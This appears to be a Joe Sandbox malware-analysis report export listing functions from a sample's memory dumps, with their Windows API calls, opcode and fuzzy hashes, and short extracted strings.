Snapshot File: hcaresult_0_2_c80000_hiip7UoiAq.jbxd

Similarity

API ID: BlanketProxy
String ID:
API String ID: 3890896728-0
Opcode ID: cdfcbc2fae224266890cad40be564de08c7f26ff6951107397ba20b010887eb5
Instruction ID: e69b7ee7a7b267c00bc7b71a7355c5b82153883715ccecc375b1ae8a80af6872
Opcode Fuzzy Hash: cdfcbc2fae224266890cad40be564de08c7f26ff6951107397ba20b010887eb5
Instruction Fuzzy Hash: F9F098745093428FD314DF29C5A871BBBE0BB84304F10891DE4958B390C7B59949CF82

Function 00C8E648 Relevance: 1.5, APIs: 1, Instructions: 18COMMON

Download Yara Rule

APIs

CoInitializeSecurity.COMBASE(00000000,000000FF,00000000,00000000,00000000,00000003,00000000,00000000,00000000), ref: 00C8E65B

Memory Dump Source

Source File: 00000000.00000002.1610421424.0000000000C81000.00000040.00000001.01000000.00000003.sdmp, Offset: 00C80000, based on PE: true

Associated: 00000000.00000002.1610315144.0000000000C80000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1610421424.0000000000CC1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1610548607.0000000000CD2000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1610575042.0000000000CD4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1610575042.0000000000E51000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1610575042.0000000000F34000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1610575042.0000000000F5C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1610575042.0000000000F66000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1610575042.0000000000F74000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1610907389.0000000000F75000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1611046358.000000000110F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1611071533.0000000001110000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c80000_hiip7UoiAq.jbxd

Similarity

API ID: InitializeSecurity
String ID:
API String ID: 640775948-0
Opcode ID: a10b0a517c7a63252fa9d8a71146d92f21a0580eeb29b29b96426681559897bb
Instruction ID: 2f7e029cb507fb582f54f782074742897cb29a36cd1b61b49d87b057d0c8da77
Opcode Fuzzy Hash: a10b0a517c7a63252fa9d8a71146d92f21a0580eeb29b29b96426681559897bb
Instruction Fuzzy Hash: 61D012353D434176F2348618EC63F1922118303F54F741A14B722FE3D2C9D07501450C

Function 00CB8E70 Relevance: 1.5, APIs: 1, Instructions: 13memoryCOMMON

Download Yara Rule

APIs

RtlFreeHeap.NTDLL(?,00000000,?,00C927C7), ref: 00CB8E8E

Memory Dump Source

Source File: 00000000.00000002.1610421424.0000000000C81000.00000040.00000001.01000000.00000003.sdmp, Offset: 00C80000, based on PE: true

Associated: 00000000.00000002.1610315144.0000000000C80000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1610421424.0000000000CC1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1610548607.0000000000CD2000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1610575042.0000000000CD4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1610575042.0000000000E51000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1610575042.0000000000F34000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1610575042.0000000000F5C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1610575042.0000000000F66000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1610575042.0000000000F74000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1610907389.0000000000F75000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1611046358.000000000110F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1611071533.0000000001110000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c80000_hiip7UoiAq.jbxd

Similarity

API ID: FreeHeap
String ID:
API String ID: 3298025750-0
Opcode ID: db048644f69ea6fc334a96e773f39ef92c030e4efdb7c87a09d9583742274303
Instruction ID: fd9b5fe0561defba0e66e58a803df20a991e1813fb519e4bec3f5cce0b2b029a
Opcode Fuzzy Hash: db048644f69ea6fc334a96e773f39ef92c030e4efdb7c87a09d9583742274303
Instruction Fuzzy Hash: FDD01231405526EFC6101F28FC07B9A3B58EF49321F130451B4406F075C770EC91DAD4

Function 00CB8E47 Relevance: 1.5, APIs: 1, Instructions: 9memoryCOMMON

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(?,00000000,?,?,00000000), ref: 00CB8E55

Memory Dump Source

Source File: 00000000.00000002.1610421424.0000000000C81000.00000040.00000001.01000000.00000003.sdmp, Offset: 00C80000, based on PE: true

Associated: 00000000.00000002.1610315144.0000000000C80000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1610421424.0000000000CC1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1610548607.0000000000CD2000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1610575042.0000000000CD4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1610575042.0000000000E51000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1610575042.0000000000F34000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1610575042.0000000000F5C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1610575042.0000000000F66000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1610575042.0000000000F74000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1610907389.0000000000F75000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1611046358.000000000110F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1611071533.0000000001110000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c80000_hiip7UoiAq.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: e91739b30307a1ce479bcc633af39eb22471b93886bb919b86fb289b51d23708
Instruction ID: 6a4c61e71489974b87c9f7eb39354d1bfb4b41fe7e0fb543eeed211d5f5d2a0b
Opcode Fuzzy Hash: e91739b30307a1ce479bcc633af39eb22471b93886bb919b86fb289b51d23708
Instruction Fuzzy Hash: 89C092B4143111FBD2251B15AC4EF6F3F3CEBC2B63F204105F609540B08764A052DA6E

Function 00CD856C Relevance: 1.3, APIs: 1, Instructions: 32memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNELBASE(00000000), ref: 00CD8EA9

Memory Dump Source

Source File: 00000000.00000002.1610575042.0000000000CD4000.00000040.00000001.01000000.00000003.sdmp, Offset: 00C80000, based on PE: true

Associated: 00000000.00000002.1610315144.0000000000C80000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1610421424.0000000000C81000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1610421424.0000000000CC1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1610548607.0000000000CD2000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1610575042.0000000000E51000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1610575042.0000000000F34000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1610575042.0000000000F5C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1610575042.0000000000F66000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1610575042.0000000000F74000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1610907389.0000000000F75000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1611046358.000000000110F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1611071533.0000000001110000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c80000_hiip7UoiAq.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: d614f9a63153764f9c51a5a4d8108871ab2ac1d2d0e9b5e6f8ef0ea44470309b
Instruction ID: f76d1cb00f6e2da78083df834bff71f5e9fdb3f4e34cb2de5c6cc882a1571fd5
Opcode Fuzzy Hash: d614f9a63153764f9c51a5a4d8108871ab2ac1d2d0e9b5e6f8ef0ea44470309b
Instruction Fuzzy Hash: 09F017B550C500EFEB016F19D8067BDBBE0EB08300F15092AEBC186790E63248649B97

Function 00CD93BB Relevance: 1.3, APIs: 1, Instructions: 26memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNELBASE(00000000), ref: 00CD93CD

Memory Dump Source

Source File: 00000000.00000002.1610575042.0000000000CD4000.00000040.00000001.01000000.00000003.sdmp, Offset: 00C80000, based on PE: true

Associated: 00000000.00000002.1610315144.0000000000C80000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1610421424.0000000000C81000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1610421424.0000000000CC1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1610548607.0000000000CD2000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1610575042.0000000000E51000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1610575042.0000000000F34000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1610575042.0000000000F5C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1610575042.0000000000F66000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1610575042.0000000000F74000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1610907389.0000000000F75000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1611046358.000000000110F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1611071533.0000000001110000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c80000_hiip7UoiAq.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 4d4a3ef2212f1c0940603d009e6e033b734dc9c4e205afbd1d1144f2c4749e6a
Instruction ID: 9670ddba54080691d515fe0be9939d89607c68cc62378c3a5be444bc40557dbb
Opcode Fuzzy Hash: 4d4a3ef2212f1c0940603d009e6e033b734dc9c4e205afbd1d1144f2c4749e6a
Instruction Fuzzy Hash: C4F01CB850C505DBDB412F2998855ADBBB4FF08710F210A2DF99686680D3310C50CB56

Non-executed Functions

Function 00CB4098 Relevance: 36.6, Strings: 29, Instructions: 348COMMON

Download Yara Rule

Strings

n, xrefs: 00CB4162
{, xrefs: 00CB418A
@, xrefs: 00CB41B2
+, xrefs: 00CB40A4
g, xrefs: 00CB416A
w, xrefs: 00CB41AA
z, xrefs: 00CB432D
<, xrefs: 00CB42CF
h, xrefs: 00CB414A
C, xrefs: 00CB41BA
a, xrefs: 00CB415A
{, xrefs: 00CB4331
d, xrefs: 00CB417A
>, xrefs: 00CB42D8
d, xrefs: 00CB4315
`, xrefs: 00CB4142
p, xrefs: 00CB419A
s, xrefs: 00CB41A2
x, xrefs: 00CB4325
`, xrefs: 00CB4305
f, xrefs: 00CB431D
0, xrefs: 00CB4427
*, xrefs: 00CB40EA
b, xrefs: 00CB430D
n, xrefs: 00CB42FD
|, xrefs: 00CB4335
:, xrefs: 00CB42F9
|, xrefs: 00CB4182
}, xrefs: 00CB4192

Memory Dump Source

Source File: 00000000.00000002.1610421424.0000000000C81000.00000040.00000001.01000000.00000003.sdmp, Offset: 00C80000, based on PE: true

Associated: 00000000.00000002.1610315144.0000000000C80000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1610421424.0000000000CC1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1610548607.0000000000CD2000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1610575042.0000000000CD4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1610575042.0000000000E51000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1610575042.0000000000F34000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1610575042.0000000000F5C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1610575042.0000000000F66000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1610575042.0000000000F74000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1610907389.0000000000F75000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1611046358.000000000110F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1611071533.0000000001110000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c80000_hiip7UoiAq.jbxd

Similarity

API ID:
String ID: *$+$0$:$<$>$@$C$`$`$a$b$d$d$f$g$h$n$n$p$s$w$x$z${${$|$|$}
API String ID: 0-334816167
Opcode ID: 3dc82c8595ae0fbf93496fdb2e4714c8178b8a3fe831a69812610a50b330d390
Instruction ID: eb8860f10c53d2690af6c6dff2d30c6d15d83b5177f6d94649f237e8410da2ba
Opcode Fuzzy Hash: 3dc82c8595ae0fbf93496fdb2e4714c8178b8a3fe831a69812610a50b330d390
Instruction Fuzzy Hash: 1CF1F521D087E98ADB36C6BC8C443DDBFA25B52324F1D43D9D4E9AB3D2C6740A46CB52

Function 00E3C1DE Relevance: 7.9, Strings: 5, Instructions: 1622COMMON

Download Yara Rule

Strings

2]Yc, xrefs: 00E3D224
*#w, xrefs: 00E3C523
Mo, xrefs: 00E3C787
9{O, xrefs: 00E3C2C1
5=, xrefs: 00E3CC3F

Memory Dump Source

Source File: 00000000.00000002.1610575042.0000000000CD4000.00000040.00000001.01000000.00000003.sdmp, Offset: 00C80000, based on PE: true

Associated: 00000000.00000002.1610315144.0000000000C80000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1610421424.0000000000C81000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1610421424.0000000000CC1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1610548607.0000000000CD2000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1610575042.0000000000E51000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1610575042.0000000000F34000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1610575042.0000000000F5C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1610575042.0000000000F66000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1610575042.0000000000F74000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1610907389.0000000000F75000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1611046358.000000000110F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1611071533.0000000001110000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c80000_hiip7UoiAq.jbxd

Similarity

API ID:
String ID: *#w$2]Yc$5=$9{O$Mo
API String ID: 0-283789785
Opcode ID: 967434d43ae41c8a6744df93de834a73066b83e74a13db217f039a9c81850a08
Instruction ID: b3ed92c823cc0ef592074a9b79e20c5dd63293077367dab0af4c8ab7cec2b9c6
Opcode Fuzzy Hash: 967434d43ae41c8a6744df93de834a73066b83e74a13db217f039a9c81850a08
Instruction Fuzzy Hash: 49B226F3A0C3049FE3086E2DEC8563ABBE5EF94320F16463DE6C487744EA7558058697

Function 00E370EB Relevance: 7.8, Strings: 5, Instructions: 1566COMMON

Download Yara Rule

Strings

1p!, xrefs: 00E383BB
16o7, xrefs: 00E374FC
dm, xrefs: 00E373D5
;X{~, xrefs: 00E375BD
zDT, xrefs: 00E3806A

Memory Dump Source

Source File: 00000000.00000002.1610575042.0000000000CD4000.00000040.00000001.01000000.00000003.sdmp, Offset: 00C80000, based on PE: true

Associated: 00000000.00000002.1610315144.0000000000C80000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1610421424.0000000000C81000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1610421424.0000000000CC1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1610548607.0000000000CD2000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1610575042.0000000000E51000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1610575042.0000000000F34000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1610575042.0000000000F5C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1610575042.0000000000F66000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1610575042.0000000000F74000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1610907389.0000000000F75000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1611046358.000000000110F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1611071533.0000000001110000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c80000_hiip7UoiAq.jbxd

Similarity

API ID:
String ID: 16o7$;X{~$dm$zDT$1p!
API String ID: 0-967971607
Opcode ID: a4c9cf17dad3c4708b596e06c582db1e0c418e3e9db7b0a32ed7857c2c83a5c7
Instruction ID: a75e3cf0ca13bb98f2bb40648806d512ea40a848c46f4780d38db7ad4085fd65
Opcode Fuzzy Hash: a4c9cf17dad3c4708b596e06c582db1e0c418e3e9db7b0a32ed7857c2c83a5c7
Instruction Fuzzy Hash: A7A22BF3A0C2009FE3046E2DEC8567ABBE5EF94720F1A893DEAC5C3344E67558158697

Function 00CA05B0 Relevance: 6.7, Strings: 5, Instructions: 481COMMON

Download Yara Rule

Strings

0c=e, xrefs: 00CA068D
2g1i, xrefs: 00CA0695
&', xrefs: 00CA0966
<k;m, xrefs: 00CA069D
wy, xrefs: 00CA0675

Memory Dump Source

Source File: 00000000.00000002.1610421424.0000000000C81000.00000040.00000001.01000000.00000003.sdmp, Offset: 00C80000, based on PE: true

Associated: 00000000.00000002.1610315144.0000000000C80000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1610421424.0000000000CC1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1610548607.0000000000CD2000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1610575042.0000000000CD4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1610575042.0000000000E51000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1610575042.0000000000F34000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1610575042.0000000000F5C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1610575042.0000000000F66000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1610575042.0000000000F74000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1610907389.0000000000F75000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1611046358.000000000110F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1611071533.0000000001110000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c80000_hiip7UoiAq.jbxd

Similarity

API ID:
String ID: &'$0c=e$2g1i$<k;m$wy
API String ID: 0-3335612808
Opcode ID: be4d70b2411c50e8f70d30ee82b41df2b5163cd6a6dadea173aaca23a5802b83
Instruction ID: d5fa3184fb84f115224a18dfd0fd6ebb0e148214da35032820b7ef0c017ba028
Opcode Fuzzy Hash: be4d70b2411c50e8f70d30ee82b41df2b5163cd6a6dadea173aaca23a5802b83
Instruction Fuzzy Hash: 36D128B56083018BD724DF25C85276BB7F2EFD2358F28992CE4928B395F7789901CB46

Function 00C911E5 Relevance: 4.3, Strings: 3, Instructions: 558COMMON

Download Yara Rule

Strings

V, xrefs: 00C911F3
e, xrefs: 00C91842
0, xrefs: 00C9160F

Memory Dump Source

Source File: 00000000.00000002.1610421424.0000000000C81000.00000040.00000001.01000000.00000003.sdmp, Offset: 00C80000, based on PE: true

Associated: 00000000.00000002.1610315144.0000000000C80000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1610421424.0000000000CC1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1610548607.0000000000CD2000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1610575042.0000000000CD4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1610575042.0000000000E51000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1610575042.0000000000F34000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1610575042.0000000000F5C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1610575042.0000000000F66000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1610575042.0000000000F74000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1610907389.0000000000F75000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1611046358.000000000110F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1611071533.0000000001110000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c80000_hiip7UoiAq.jbxd

Similarity

API ID:
String ID: 0$V$e
API String ID: 0-3964817793
Opcode ID: eba19c3e400bfae78bf0a84ac3e780ceeef8bc308dbc0c971a0a03a40f6a082f
Instruction ID: f8fed7ff62c10879d757a867f2c50a7bd026663e300e3ecdbe3345c0eb29a792
Opcode Fuzzy Hash: eba19c3e400bfae78bf0a84ac3e780ceeef8bc308dbc0c971a0a03a40f6a082f
Instruction Fuzzy Hash: 1122F732A0C7818BD724DF39C4953AEBBD1AFD5324F194B2EE8E9873D1D63489019B42

Function 00DAE062 Relevance: 3.0, Strings: 2, Instructions: 499COMMON

Download Yara Rule

Strings

M_, xrefs: 00DAE6C9
a;"<, xrefs: 00DAE6D8

Memory Dump Source

Source File: 00000000.00000002.1610575042.0000000000CD4000.00000040.00000001.01000000.00000003.sdmp, Offset: 00C80000, based on PE: true

Associated: 00000000.00000002.1610315144.0000000000C80000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1610421424.0000000000C81000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1610421424.0000000000CC1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1610548607.0000000000CD2000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1610575042.0000000000E51000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1610575042.0000000000F34000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1610575042.0000000000F5C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1610575042.0000000000F66000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1610575042.0000000000F74000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1610907389.0000000000F75000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1611046358.000000000110F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1611071533.0000000001110000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c80000_hiip7UoiAq.jbxd

Similarity

API ID:
String ID: M_$a;"<
API String ID: 0-1041868346
Opcode ID: d2ee80870834f49cd07d548dbd4fec0adbe9dda16567870535d01c8fabcf5d24
Instruction ID: b0687b08d5936ada87df081aa8d9a6e801f83d671ba16cd248a454c479e7db5d
Opcode Fuzzy Hash: d2ee80870834f49cd07d548dbd4fec0adbe9dda16567870535d01c8fabcf5d24
Instruction Fuzzy Hash: 30F1F2B3F152204BF3444D69CC98366B696EB94320F2F463DDE98AB7C4DA7E5C068385

Function 00CA6054 Relevance: 3.0, Strings: 2, Instructions: 483COMMON

Download Yara Rule

Strings

67, xrefs: 00CA677F
V3R5, xrefs: 00CA6774

Memory Dump Source

Source File: 00000000.00000002.1610421424.0000000000C81000.00000040.00000001.01000000.00000003.sdmp, Offset: 00C80000, based on PE: true

Associated: 00000000.00000002.1610315144.0000000000C80000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1610421424.0000000000CC1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1610548607.0000000000CD2000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1610575042.0000000000CD4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1610575042.0000000000E51000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1610575042.0000000000F34000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1610575042.0000000000F5C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1610575042.0000000000F66000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1610575042.0000000000F74000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1610907389.0000000000F75000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1611046358.000000000110F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1611071533.0000000001110000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c80000_hiip7UoiAq.jbxd

Similarity

API ID:
String ID: 67$V3R5
API String ID: 0-1838416261
Opcode ID: 3e920dbd17858faf124ceed09fa893155229a4cd89d0043a01d95fd931fdfa18
Instruction ID: 7f9f6b21adefa73ea0a316962b7eb3b5c28faefb827a735659fb79758418c21c
Opcode Fuzzy Hash: 3e920dbd17858faf124ceed09fa893155229a4cd89d0043a01d95fd931fdfa18
Instruction Fuzzy Hash: 52F154B650C382CBC714DFA5E85176FB7E1AF86308F08886CE5D287252E735DA06DB52

Function 00C84370 Relevance: 2.8, Strings: 2, Instructions: 329COMMON

Download Yara Rule

Strings

), xrefs: 00C843EB
IEND, xrefs: 00C84761

Memory Dump Source

Source File: 00000000.00000002.1610421424.0000000000C81000.00000040.00000001.01000000.00000003.sdmp, Offset: 00C80000, based on PE: true

Associated: 00000000.00000002.1610315144.0000000000C80000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1610421424.0000000000CC1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1610548607.0000000000CD2000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1610575042.0000000000CD4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1610575042.0000000000E51000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1610575042.0000000000F34000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1610575042.0000000000F5C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1610575042.0000000000F66000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1610575042.0000000000F74000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1610907389.0000000000F75000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1611046358.000000000110F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1611071533.0000000001110000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c80000_hiip7UoiAq.jbxd

Similarity

API ID:
String ID: )$IEND
API String ID: 0-707183367
Opcode ID: d5e0f5668ebcb9d3f5b72afadde0e2fe47f6b1a0da7eaf9e140f479b3e14a9ab
Instruction ID: 5946af98238ab1dba174b4a5ae6608c5dfd7596f8a4a9210ecf3d20ca7ddf735
Opcode Fuzzy Hash: d5e0f5668ebcb9d3f5b72afadde0e2fe47f6b1a0da7eaf9e140f479b3e14a9ab
Instruction Fuzzy Hash: 41D1F1B15083459FD710EF59D841B9BBBE0EF94308F14492DF9A99B382E375E908CB86

